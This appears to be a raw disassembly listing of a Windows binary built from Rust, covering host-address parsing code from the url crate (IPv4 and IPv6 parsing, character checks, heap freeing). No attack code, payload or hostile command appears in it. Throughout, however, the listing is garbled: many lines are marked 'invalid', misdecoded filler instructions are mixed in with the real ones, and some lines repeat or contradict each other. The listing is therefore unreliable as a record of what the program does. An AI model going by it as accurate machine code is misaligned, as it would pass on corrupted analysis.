lea rcx, [0x14014ba90]
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0x14
adc byte [rax + rcx*2], dl
inc eax
adc byte [rax + rcx*2], dl
inc eax
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
mov ecx, 1
mov edx, 0x2f
call fcn.140104360
mov ecx, 8
mov edx, 0x18
call fcn.140104380
mov qword [rbp - 0x10], rdi
mov ecx, 8
mov edx, 0x18
sbb byte [rax], al
add byte [rax], al
sbb byte [rax], al
add byte [rax], al
call fcn.140104380
ud2
invalid
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x30]
lea rdx, [0x14014ba90]
mov rcx, qword [rbp - 0x10]
call fcn.1400dd830
nop
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14014bd67]
mov r8d, 0x19
jmp rax
shl byte [rax + 0x48000003], 0xc1
call 0x1459ca871
movabs dword [0x4004b70f410005ba], eax
add eax, ecx
imul eax, eax, 0x9e3779b9
sahf
sahf
xor eax, edx
imul rdx, rax, 0x3a0
shr rdx, 0x20
lea r8, [0x140151e38]
mov eax, 0x110000
cmp dword [r8 + rdx*8], ecx
or al, 0xd0
or al, 0xd0
jne 0x1400f5c86
mov eax, dword [r8 + rdx*8 + 4]
ret
add byte [rsi + 0x66], bh
cmp ecx, 0x110a5
je 0x1400f5d90
cmp ecx, 0x11131
je 0x1400f5dae
cmp ecx, 0x11132
jne 0x1400f5c86
cmp edx, 0x11127
mov ecx, 0x1112f
cmove eax, ecx
ret
add dword [rax], eax
jle 0x1400f5d25
cmp ecx, 0x115b8
je 0x1400f5d9f
add byte [rax], al
cmp ecx, 0x11935
jne 0x1400f5c86
cmp edx, 0x11930
mov ecx, 0x11938
cmove eax, ecx
ret
add dword [rax], eax
je 0x1400f5d5f
cmp ecx, 0x1109b
jne 0x1400f5c86
cmp edx, 0x110ba
mov ecx, 0x1109c
cmove eax, ecx
ret
cmp ecx, 0x11347
je 0x1400f5d6e
inc dword [rcx + 0x114b0fa]
add byte [rdi], cl
test byte [rbp - 0x7f000000], cl
cli
mov edx, 0x74000114
jg 0x1400f5ccf
cli
mov ebp, 0xf000114
test dword [0xf90f5d59], ebp
mov esi, 0xc3000114
cmp edx, 0x110ba
mov ecx, 0x1109a
cmove eax, ecx
ret
push rdi
adc eax, dword [rcx]
add byte [rax + 0x1134c], bh
mov ecx, 0x110000
cmove ecx, eax
cmp edx, 0x1133e
mov eax, 0x1134b
cmovne eax, ecx
ret
cmp edx, 0x110ba
mov ecx, 0x110ab
cmove eax, ecx
ret
cmp edx, 0x11127
mov ecx, 0x1112e
cmove eax, ecx
ret
adc eax, 0xbbb90001
adc eax, 0x440f0001
rol ebx, 0xb8
rol ebx, 0xb8
mov ebx, 0xc3000114
mov eax, 0x114bc
ret
mov ah, 0x24
xor byte [rcx], al
add byte [rax], al
mov rsi, rcx
test r8, r8
je 0x1400f5e7b
cmp byte [rdx], 0x5b
jne 0x1400f5e7b
cmp byte [rdx + r8 - 1], 0x5d
jne 0x1400f61a0
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rbp - 0x77], cl
ror dword [rcx - 1], 0xc9
mov r9, r8
dec r9
je 0x1400f68a4
cmp byte [rdx + 1], 0xbf
jle 0x1400f68c7
inc rdx
add r8, 0xfffffffffffffffe
lea rcx, [rsp + 0x30]
call fcn.1400f6bc0
cmp byte [rsp + 0x30], 0
je 0x1400f6242
test ah, dl
add eax, dword [rax]
invalid
test ah, dl
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x44
and al, 0x31
movzx eax, byte [rsp + 0x31]
mov byte [rsi + 8], al
jmp 0x1400f61a4
add r8, rdx
lea rdi, [rsp + 0x98]
add byte [rax - 0x77], cl
stc
add byte [rax - 0x77], cl
stc
call fcn.14004ab00
mov r12, qword [rsp + 0x98]
mov rbx, qword [rsp + 0xa0]
movabs r15, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rbx + rcx*4 - 0x4c], 0x24
test al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rbx + rcx*4 - 0x4c], 0x24
test al, 0
add byte [rax], al
cmp r12, r15
jne 0x1400f5eca
lea rcx, [rsp + 0x80]
mov rdx, rbx
mov r8, r14
call fcn.140010ca0
jmp 0x1400f5f2e
lea rcx, [rsp + 0x30]
mov rdx, rbx
mov r8, r14
call fcn.140010ca0
cmp qword [rsp + 0x30], r15
jne 0x1400f5efb
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x90], r14
and al, 0x90
add byte [rax], al
add bl, ch
invalid
and al, 0x90
add byte [rax], al
add bl, ch
xor ecx, dword [rax - 0x75]
and al, 0x40
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x90], rax
movdqu xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x80], xmm0
jg 0x1400f5e96
and al, 0x80
add byte [rax], al
add byte [rbp - 0x7b], cl
in al, 0x74
invalid
jg 0x1400f5e96
and al, 0x80
add byte [rax], al
add byte [rbp - 0x7b], cl
in al, 0x74
adc cl, byte [rax - 0x75]
mov ecx, dword [0x14017d208]
mov rcx, qword [0x14017d208]
mov ecx, dword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
add dword [rax], eax
mov r14, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
test rbx, rbx
invalid
je 0x1400f5f6c
invalid
js 0x1400f689f
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, rbx
call fcn.1400e0010
test rax, rax
invalid
jne 0x1400f5f71
sal byte [rbp + 0x12], 0xb9
add dword [rax], eax
add byte [rax], al
mov rdx, rbx
call fcn.140104360
mov eax, 1
mov qword [rsp + 0x98], rbx
add byte [rax - 0x77], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dh, al
and al, 0x64
add bh, al
and al, 0x60
and al, 0x60
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dh, al
and al, 0x64
add bh, al
and al, 0x60
and al, 0x60
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0x108]
lea rdx, [rsp + 0x30]
mov r8, r14
mov r9, rbx
call fcn.140041c20
mov r13, qword [rsp + 0x98]
mov rdi, qword [rsp + 0xa0]
cmp byte [rsp + 0x108], 2
jne 0x1400f6011
add byte [rax + 0x10824bc], al
add byte [rax], al
add dh, byte [rbp + 0x12]
mov rbx, qword [rsp + 0xa8]
cmp qword [rsp + 0x30], 0
jne 0x1400f6045
mov r14, qword [rsp + 0x108]
mov ebx, dword [rsp + 0x110]
test r13, r13
je 0x1400f6037
cmpsd dword [rsi], dword [rdi]
xchg ebx, eax
add dword [rax], eax
cmp qword [rsp + 0x48], 0
je 0x1400f6075
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
xchg ebx, eax
add dword [rax], eax
movabs rax, 0x8000000000000000
cmp r13, rax
jne 0x1400f609a
mov byte [rsi + 8], 1
movabs rax, 0x8000000000000002
mov qword [rsi], rax
jmp 0x1400f61dc
test rbx, rbx
je 0x1400f61b3
lea rax, [rdi + rbx]
lea rcx, [0x140175ad8]
mov rdx, rdi
cmp rdx, rax
je 0x1400f625f
movzx r11d, byte [rdx]
movzx r8d, r11b
test r8b, r8b
invalid
js 0x1400f60e0
sar byte [rax + 0x19], 0x48
inc edx
inc rdx
cmp r8d, 0x20
jae 0x1400f6170
jmp case.0x1400f6185.0
mov r9d, r8d
and r9d, 0x1f
movzx ebp, byte [rdx + 1]
and ebp, 0x3f
cmp r8b, 0xdf
jbe 0x1400f613d
movzx r10d, byte [rdx + 2]
shl ebp, 6
and r10d, 0x3f
or r10d, ebp
cmp r11b, 0xf0
jb 0x1400f6153
movzx r8d, byte [rdx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
je 0x1400f625f
test byte [rsi], ch
add dword [rax], eax
invalid
test byte [rsi], ch
add dword [rax], eax
add byte [rax - 0x7d], cl
ret 0x4104
add rdx, 4
cmp r8d, 0x20
jae 0x1400f6170
jmp case.0x1400f6185.0
add rdx, 2
shl r9d, 6
or r9d, ebp
mov r8d, r9d
cmp r8d, 0x20
jae 0x1400f6170
jmp case.0x1400f6185.0
add rdx, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
cmp r8d, 0x20
jb case.0x1400f6185.0
nop word [rax + rax]
add r8d, 0xffffffe0
cmp r8d, 0x5f
ja case.0x1400f6185.1
movsxd r8, dword [rcx + r8*4]
add r8, rcx
jmp r8
mov byte [rsi + 8], 5
movabs rax, 0x8000000000000002
mov qword [rsi], rax
test r13, r13
jne 0x1400f61ca
jmp 0x1400f61dc
mov byte [rsi + 8], 4
movabs rax, 0x8000000000000002
mov qword [rsi], rax
jmp 0x1400f6203
xor eax, eax
mov byte [rsi + 8], al
movabs rax, 0x8000000000000002
mov qword [rsi], rax
test r13, r13
je 0x1400f61dc
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x80]
shl rax, 1
test rax, rax
je 0x1400f6203
mov r8, qword [rsp + 0x88]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x130]
movaps xmm7, xmmword [rsp + 0x140]
movaps xmm8, xmmword [rsp + 0x150]
movaps xmm9, xmmword [rsp + 0x160]
movaps xmm10, xmmword [rsp + 0x170]
add rsp, 0x188
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [rsp + 0x31]
movdqu xmm0, xmmword [rax]
movdqu xmmword [rsi + 8], xmm0
movabs rax, 0x8000000000000001
jmp 0x1400f61ae
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], rbx
movabs r14, 0x2e0000002e
mov qword [rsp + 0x60], r14
mov byte [rsp + 0x68], 1
mov word [rsp + 0x70], 1
lea rcx, [rsp + 0x30]
call fcn.1400f6920
test rax, rax
je 0x1400f68e7
test rdx, rdx
je 0x1400f6377
xor ecx, ecx
nop
cmp rdx, rcx
je 0x1400f62e8
movzx r8d, byte [rax + rcx]
add r8b, 0xd0
inc rcx
cmp r8b, 0xa
jb 0x1400f62c0
mov rcx, rax
call fcn.1400f69b0
cmp eax, 2
je 0x1400f638f
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], rbx
lea rdx, [rsp + 0xa8]
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], r14
mov byte [rsp + 0xd0], 1
mov word [rsp + 0xd8], 1
lea rcx, [rsp + 0x30]
call fcn.1400336b0
cmp qword [rsp + 0x30], 0
je 0x1400f639f
mov rbx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x98]
lea r15, [rdi + rcx]
sub rbx, rcx
mov qword [rsp + 0x98], rax
jmp 0x1400f63e3
lea rcx, [rsp + 0x30]
call fcn.1400f6920
test rax, rax
je 0x1400f638f
test rdx, rdx
jne 0x1400f62bc
mov qword [rsi], r13
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rbx
jmp 0x1400f61dc
cmp byte [rsp + 0xd9], 0
jne 0x1400f68f3
mov byte [rsp + 0xd9], 1
cmp byte [rsp + 0xd8], 0
mov r15, qword [rsp + 0x98]
mov rbx, qword [rsp + 0xa0]
jne 0x1400f63d8
cmp rbx, r15
je 0x1400f68f3
sub rbx, r15
add r15, qword [rsp + 0xa8]
movzx eax, byte [0x14017d2b0]
mov edx, 0x40
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400f690b
mov r14, rax
mov qword [rax], r15
mov qword [rax + 8], rbx
mov qword [rsp + 0xf0], 4
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], 1
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x70], rax
movdqu xmm0, xmmword [rsp + 0x98]
movdqu xmm1, xmmword [rsp + 0xa8]
movdqu xmm2, xmmword [rsp + 0xb8]
movdqu xmm3, xmmword [rsp + 0xc8]
movdqa xmmword [rsp + 0x60], xmm3
movdqa xmmword [rsp + 0x50], xmm2
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x30], xmm0
mov ebx, 1
cmp byte [rsp + 0x71], 0
je 0x1400f6564
mov r15, qword [rsp + 0xf8]
test rbx, rbx
je 0x1400f64a9
test r15, r15
je 0x1400f64a9
lea rax, [rbx - 1]
mov rcx, rax
shl rcx, 4
cmp qword [r15 + rcx + 8], 0
cmove rbx, rax
mov rax, qword [rsp + 0xf0]
cmp rbx, 4
jbe 0x1400f64d1
test rax, rax
je 0x1400f66f0
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r15
jmp 0x1400f66ea
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 4
mov qword [rsp + 0x40], 0
test rbx, rbx
mov qword [rsp + 0xe0], r15
je 0x1400f663b
shl rbx, 4
add rbx, r15
mov r14d, 4
xor r12d, r12d
jmp 0x1400f6530
mov dword [r14 + r12*4], ebp
inc r12
mov qword [rsp + 0x40], r12
add r15, 0x10
cmp r15, rbx
je 0x1400f663e
mov rcx, qword [r15]
mov rdx, qword [r15 + 8]
call fcn.1400f69b0
cmp eax, 1
jne 0x1400f66b2
mov ebp, edx
cmp r12, qword [rsp + 0x30]
jne 0x1400f6517
lea rcx, [rsp + 0x30]
call fcn.1400f6b10
mov r14, qword [rsp + 0x38]
mov r12, qword [rsp + 0x40]
jmp 0x1400f6517
mov ebp, 0x18
jmp 0x1400f65bc
mov r15, qword [rsp + 0x110]
mov rax, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x30]
add r12, rcx
sub r15, rcx
mov qword [rsp + 0x30], rax
cmp rbx, qword [rsp + 0xf0]
je 0x1400f661e
mov qword [r14 + rbp - 8], r12
mov qword [r14 + rbp], r15
inc rbx
mov qword [rsp + 0x100], rbx
add rbp, 0x10
cmp byte [rsp + 0x71], 0
jne 0x1400f6482
mov r12, qword [rsp + 0x40]
lea rcx, [rsp + 0x108]
lea rdx, [rsp + 0x40]
call fcn.1400336b0
cmp qword [rsp + 0x108], 0
jne 0x1400f656b
cmp byte [rsp + 0x71], 0
jne 0x1400f6482
mov byte [rsp + 0x71], 1
cmp byte [rsp + 0x70], 0
mov r12, qword [rsp + 0x30]
mov r15, qword [rsp + 0x38]
jne 0x1400f6608
cmp r15, r12
je 0x1400f6482
sub r15, r12
add r12, qword [rsp + 0x40]
cmp rbx, qword [rsp + 0xf0]
jne 0x1400f6599
lea rcx, [rsp + 0xf0]
mov rdx, rbx
call fcn.14010e190
mov r14, qword [rsp + 0xf8]
jmp 0x1400f6599
xor r12d, r12d
cmp qword [rsp + 0xe8], 0
je 0x1400f6660
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, qword [rsp + 0xe0]
call qword [sym.imp.kernel32.dll_HeapFree]
test r12, r12
je 0x1400f68f3
lea rdx, [r12 - 1]
mov r8, qword [rsp + 0x38]
mov ebx, dword [r8 + r12*4 - 4]
lea ecx, [rdx*8]
mov eax, 0xffffffff
shr eax, cl
cmp ebx, eax
ja 0x1400f66d4
lea rax, [r8 + r12*4]
add rax, 0xfffffffffffffffc
lea rcx, [r12*4 - 4]
xor r9d, r9d
cmp rcx, r9
je 0x1400f66f7
cmp dword [r8 + r9], 0xff
lea r9, [r9 + 4]
jbe 0x1400f669d
jmp 0x1400f66d4
cmp qword [rsp + 0xe8], 0
je 0x1400f66d4
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, qword [rsp + 0xe0]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x30], 0
je 0x1400f66f0
mov r8, qword [rsp + 0x38]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov al, 3
jmp 0x1400f61b5
test rdx, rdx
je 0x1400f6730
movabs rcx, 0x3ffffffffffffffe
add r12, rcx
movabs r9, 0x3fffffffffffffff
and r9, r12
xor ecx, ecx
cmp r9, 7
jae 0x1400f673f
mov rdx, r8
movabs r14, 0x8000000000000000
jmp 0x1400f682c
movabs r14, 0x8000000000000000
jmp 0x1400f6854
inc r9
mov rcx, r9
and rcx, 0xfffffffffffffff8
lea rdx, [r8 + rcx*4]
movd xmm1, ebx
movdqa xmm2, xmmword [0x14010fa80]
pxor xmm0, xmm0
xor r10d, r10d
movdqa xmm3, xmmword [0x14010fa90]
movdqa xmm4, xmmword [0x14010faa0]
movdqa xmm5, xmmword [str._b_b_b_b]
movabs r14, 0x8000000000000000
movdqa xmm6, xmm2
pslld xmm6, 3
movdqa xmm7, xmm3
psubd xmm7, xmm6
movdqu xmm6, xmmword [r8 + r10*4]
movdqu xmm8, xmmword [r8 + r10*4 + 0x10]
pand xmm7, xmm3
pslld xmm7, 0x17
paddd xmm7, xmm4
cvttps2dq xmm7, xmm7
pshufd xmm9, xmm6, 0xf5
pmuludq xmm6, xmm7
pshufd xmm6, xmm6, 0xe8
pshufd xmm10, xmm7, 0xf5
pmuludq xmm9, xmm10
pshufd xmm9, xmm9, 0xe8
punpckldq xmm6, xmm9
paddd xmm1, xmm6
pmuludq xmm7, xmm8
pshufd xmm6, xmm7, 0xe8
pshufd xmm7, xmm8, 0xf5
pmuludq xmm7, xmm10
pshufd xmm7, xmm7, 0xe8
punpckldq xmm6, xmm7
paddd xmm0, xmm6
add r10, 8
paddd xmm2, xmm5
cmp rcx, r10
jne 0x1400f6782
paddd xmm0, xmm1
pshufd xmm1, xmm0, 0xee
paddd xmm1, xmm0
pshufd xmm0, xmm1, 0x55
paddd xmm0, xmm1
movd ebx, xmm0
cmp r9, rcx
je 0x1400f6854
shl ecx, 3
mov r9d, 0x18
sub r9d, ecx
mov r10d, dword [rdx]
mov ecx, r9d
and cl, 0x18
shl r10d, cl
add rdx, 4
add ebx, r10d
add r9d, 0xfffffff8
cmp rdx, rax
jne 0x1400f6838
bswap ebx
movd xmm6, ebx
movdqa xmmword [rsp + 0x120], xmm6
psrld xmm6, 8
movzx ebp, byte [rsp + 0x123]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi], r14
mov byte [rsi + 8], bl
mov byte [rsi + 0xb], bpl
movd eax, xmm6
mov word [rsi + 9], ax
test r13, r13
jne 0x1400f61ca
jmp 0x1400f61dc
call fcn.140010910
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov qword [rsp + 0x20], rax
mov rax, r8
mov r8d, 1
mov rcx, rdx
mov rdx, rax
xor r9d, r9d
call fcn.140104b90
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov qword [rsp + 0x20], rax
mov rax, r8
mov r8d, 1
mov rcx, rdx
mov rdx, rax
call fcn.140104b90
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
call fcn.140104a40
lea rcx, str.a_non_empty_list_of_numbers
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov edx, 0x1b
call fcn.140104a60
mov ecx, 8
mov edx, 0x40
call fcn.140104360
int3
invalid
mov word [rcx], 0x401
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
jp 0x1400f6bf5
add byte [rax], al
add byte [rsi - 1], bh
nop word [rax + rax]
cmp r11, r8
jae 0x1400f6df7
cmp rax, 8
je 0x1400f6bda
cmp byte [rdx + r11], 0x3a
je 0x1400f6ce2
lea r14, [r11 + 4]
cmp r8, r14
cmovb r14, r8
xor edi, edi
mov rbx, r11
cmp r11, r14
jb 0x1400f6c6d
jmp 0x1400f6ca0
shl edi, 4
or edi, ebp
inc rbx
cmp r14, rbx
je case.0x1400978a6.1193
movzx r15d, byte [rdx + rbx]
lea ebp, [r15 - 0x30]
cmp ebp, 0xa
jb 0x1400f6c60
or r15d, 0x20
add r15d, 0xffffff9f
add r15d, 0xa
cmovb r15d, esi
mov ebp, r15d
cmp r15d, 0xf
jbe 0x1400f6c60
nop word cs:[rax + rax]
cmp rbx, r8
jae 0x1400f6cc8
movzx ebp, byte [rdx + rbx]
cmp ebp, 0x3a
jne 0x1400f6cfd
inc rbx
mov r11, rbx
cmp rbx, r8
jne 0x1400f6ccb
jmp 0x1400f6bda
mov rbx, r14
cmp rbx, r8
jb 0x1400f6ca5
mov r11, rbx
cmp rax, 7
ja 0x1400f7049
mov word [rsp + rax*2 + 0x20], di
inc rax
jmp 0x1400f6c20
test r9b, 1
jne 0x1400f6bda
inc r11
inc rax
mov r9b, 1
mov r10, rax
jmp 0x1400f6c20
cmp ebp, 0x2e
jne 0x1400f6bda
invalid
invalid
invalid
invalid
invalid
cmp rbx, r11
je 0x1400f6bda
cmp rax, 6
ja 0x1400f6bda
invalid
invalid
invalid
invalid
cmp r11, r8
jae 0x1400f6bda
xor esi, esi
test esi, esi
jle 0x1400f6d3f
cmp esi, 4
jae 0x1400f6bda
add al, 0xf
sub dword [rcx + 0x42fffffe], 0xffffff80
cmp al, 0x1a
jne 0x1400f6bda
invalid
sahf
invalid
invalid
invalid
cmp byte [rdx + r11], 0x2e
jne 0x1400f6bda
invalid
sahf
invalid
invalid
invalid
test dword [rsi + 0x49fffffe], ebx
inc ebx
inc r11
cmp r11, r8
jae 0x1400f6bda
movzx ebx, byte [rdx + r11]
add bl, 0xd0
cmp bl, 9
ja 0x1400f6bda
invalid
invalid
invalid
movzx edi, bl
mov dh, 0xfb
inc r11
mov r14, r11
cmp r11, r8
mov r11, r8
je 0x1400f6dbd
ret
nop word [rax + rax]
movzx r11d, byte [rdx + r14]
add r11b, 0xd0
cmp r11b, 0xa
jae 0x1400f6db1
invalid
xor ah, byte [rsi - 0x7b]
dec dword [rdi]
test byte [rdx - 2], dl
invalid
test di, di
je 0x1400f6bda
add edi, edi
lea ebp, [rdi + rdi*4]
movzx edi, r11b
sti
sti
add edi, ebp
movzx r11d, di
cmp r11d, 0xff
ja 0x1400f6bda
inc r14
cmp r8, r14
jne case.0x14009f75c.1149
mov r11, r8
jmp 0x1400f6dbd
mov r11, r14
cmp bl, 0xa
jae 0x1400f6bda
cmp rax, 8
jae 0x1400f705d
movzx ebx, word [rsp + rax*2 + 0x20]
shl ebx, 8
add edi, ebx
mov word [rsp + rax*2 + 0x20], di
mov edi, esi
or edi, 2
cmp edi, 3
jne 0x1400f6de3
inc rax
inc esi
cmp r11, r8
ret
jb 0x1400f6d24
cmp esi, 4
jne 0x1400f6bda
test r9b, 1
je 0x1400f6fa2
mov rdx, rax
sub rdx, r10
je 0x1400f6fac
lea r9, [rax - 1]
cmp r9, 8
jae 0x1400f7074
movzx r8d, word [rsp + 0x2e]
movzx r9d, word [rsp + rax*2 + 0x1e]
mov word [rsp + 0x2e], r9w
mov word [rsp + rax*2 + 0x1e], r8w
mov r9, rdx
dec r9
je 0x1400f6fac
dec r10
add r9, r10
cmp r9, 7
stc
invalid
ja 0x1400f7074
stc
invalid
movzx eax, word [rsp + 0x2c]
movzx r8d, word [rsp + r9*2 + 0x20]
mov word [rsp + 0x2c], r8w
mov dword [rsp + 0x2c], r8d
mov dword [rsp + 0x2c], r8d
mov word [rsp + r9*2 + 0x20], ax
mov r9, rdx
add r9, 0xfffffffffffffffe
je 0x1400f6fac
test byte [rcx], bh
add dword [rax], eax
invalid
test byte [rcx], bh
add dword [rax], eax
add byte [rbp + 1], cl
ror dword [rcx - 0x7d], 1
stc
invalid
cmp dword [rcx], eax
add byte [rax], al
add r9, r10
cmp r9, 7
ja 0x1400f7074
movzx eax, word [rsp + 0x2a]
and al, 0x2a
movzx r8d, word [rsp + r9*2 + 0x20]
mov word [rsp + 0x2a], r8w
mov word [rsp + r9*2 + 0x20], ax
and byte [rcx - 0x77], r9b
ror dword [rcx - 0x7d], 1
sar ebp, 0xf
test byte [rax], cl
add dword [rax], eax
invalid
and byte [rcx - 0x77], r9b
and byte [rcx - 0x77], cl
ror dword [rcx - 0x7d], 1
sar ebp, 0xf
test byte [rax], cl
add dword [rax], eax
add byte [rbp + 1], cl
ror dword [rcx - 0x7d], 1
cmp ecx, 7
add r9, r10
cmp r9, 7
cmp ecx, 7
cmp ecx, 7
ja 0x1400f7074
movzx eax, word [rsp + 0x28]
movzx r8d, word [rsp + r9*2 + 0x20]
mov word [rsp + 0x28], r8w
mov word [rsp + r9*2 + 0x20], ax
and byte [rcx - 0x77], r9b
ror dword [rcx - 0x7d], 1
sar esp, 0xf
test bh, dl
add byte [rax], al
invalid
and byte [rcx - 0x77], r9b
ror dword [rcx - 0x7d], 1
sar esp, 0xf
test bh, dl
add byte [rax], al
add byte [rbp + 1], cl
ror dword [rcx - 0x7d], 1
cmp r9, 7
add r9, r10
cmp r9, 7
ja 0x1400f7074
movzx eax, word [rsp + 0x26]
mov bh, 0x44
and al, 0x26
movzx r8d, word [rsp + r9*2 + 0x20]
mov word [rsp + 0x26], r8w
mov word [rsp + r9*2 + 0x20], ax
mov r9, rdx
add r9, 0xfffffffffffffffb
je 0x1400f6fac
add r9, r10
cmp r9, 7
cmp ecx, 7
cmp ecx, 7
ja 0x1400f7074
movzx eax, word [rsp + 0x24]
movzx r8d, word [rsp + r9*2 + 0x20]
and byte [rsi + 0x44], r12b
mov dword [rsp + 0x24], eax
and byte [rsi + 0x44], r12b
mov dword [rsp + 0x24], eax
mov word [rsp + r9*2 + 0x20], ax
mov r9, rdx
add r9, 0xfffffffffffffffa
je 0x1400f6fac
add r9, r10
cmp r9, 7
ja 0x1400f7074
cmp rax, 8
jne 0x1400f6bda
movzx eax, word [rsp + 0x20]
movzx edx, word [rsp + 0x22]
movzx r8d, word [rsp + 0x24]
movzx r9d, word [rsp + 0x26]
movzx r10d, word [rsp + 0x28]
movzx r11d, word [rsp + 0x2a]
movzx esi, word [rsp + 0x2c]
rol ax, 8
rol dx, 8
rol r8w, 8
rol r9w, 8
rol r10w, 8
rol r11w, 8
rol si, 8
movzx edi, word [rsp + 0x2e]
rol di, 8
movd xmm0, edi
movd xmm1, esi
punpcklwd xmm1, xmm0
movd xmm0, r11d
movd xmm2, r10d
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm1
movd xmm0, r9d
movd xmm1, r8d
punpcklwd xmm1, xmm0
movd xmm0, edx
movd xmm3, eax
punpcklwd xmm3, xmm0
punpckldq xmm3, xmm1
punpcklqdq xmm3, xmm2
movdqu xmmword [rcx + 1], xmm3
mov byte [rcx], 0
jmp 0x1400f6bdf
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov edx, 8
mov rcx, rax
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov edx, 8
mov rcx, rax
call fcn.140104670
mov r9, r10
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov edx, 8
mov rcx, r9
call fcn.140104670
int3
sub rbx, rbp
movzx ecx, byte [rsi + r14 - 1]
mov rdx, r15
mov r8, rbx
call fcn.1400180e0
cmp rax, 1
jne 0x1400f71c4
mov rbx, rdx
add rbx, rbp
mov r13, rbx
sub r13, qword [rsp + 0x30]
xor byte [rdx + 0x25], dh
xor byte [rdx + 0x25], dh
mov r15, r13
add r15, r14
jb 0x1400f71af
cmp r15, r12
ja 0x1400f71af
mov rax, qword [rsp + 0x38]
lea rcx, [rax + r13]
mov rdx, rsi
mov r8, r14
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400f71ed
mov qword [rdi + 0x18], rbx
cmp rbp, rbx
ja 0x1400f71cf
cmp rbx, r12
mov r15, qword [rsp + 0x40]
jbe 0x1400f7160
jmp 0x1400f71cf
mov qword [rdi + 0x18], rbp
xor eax, eax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
mov qword [rax], rcx
or byte [rax - 0x7d], cl
invalid
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
or byte [rax - 0x7d], cl
invalid
mov qword [rdi + 0x18], r13
mov rax, qword [rsp + 0x28]
mov qword [rax + 8], r13
mov qword [rax + 0x10], r15
mov eax, 1
jmp 0x1400f71ca
invalid
int3
lea rcx, [r9 - 1]
movzx r10d, r10b
cmp r10d, 0x20
ja 0x1400f76c2
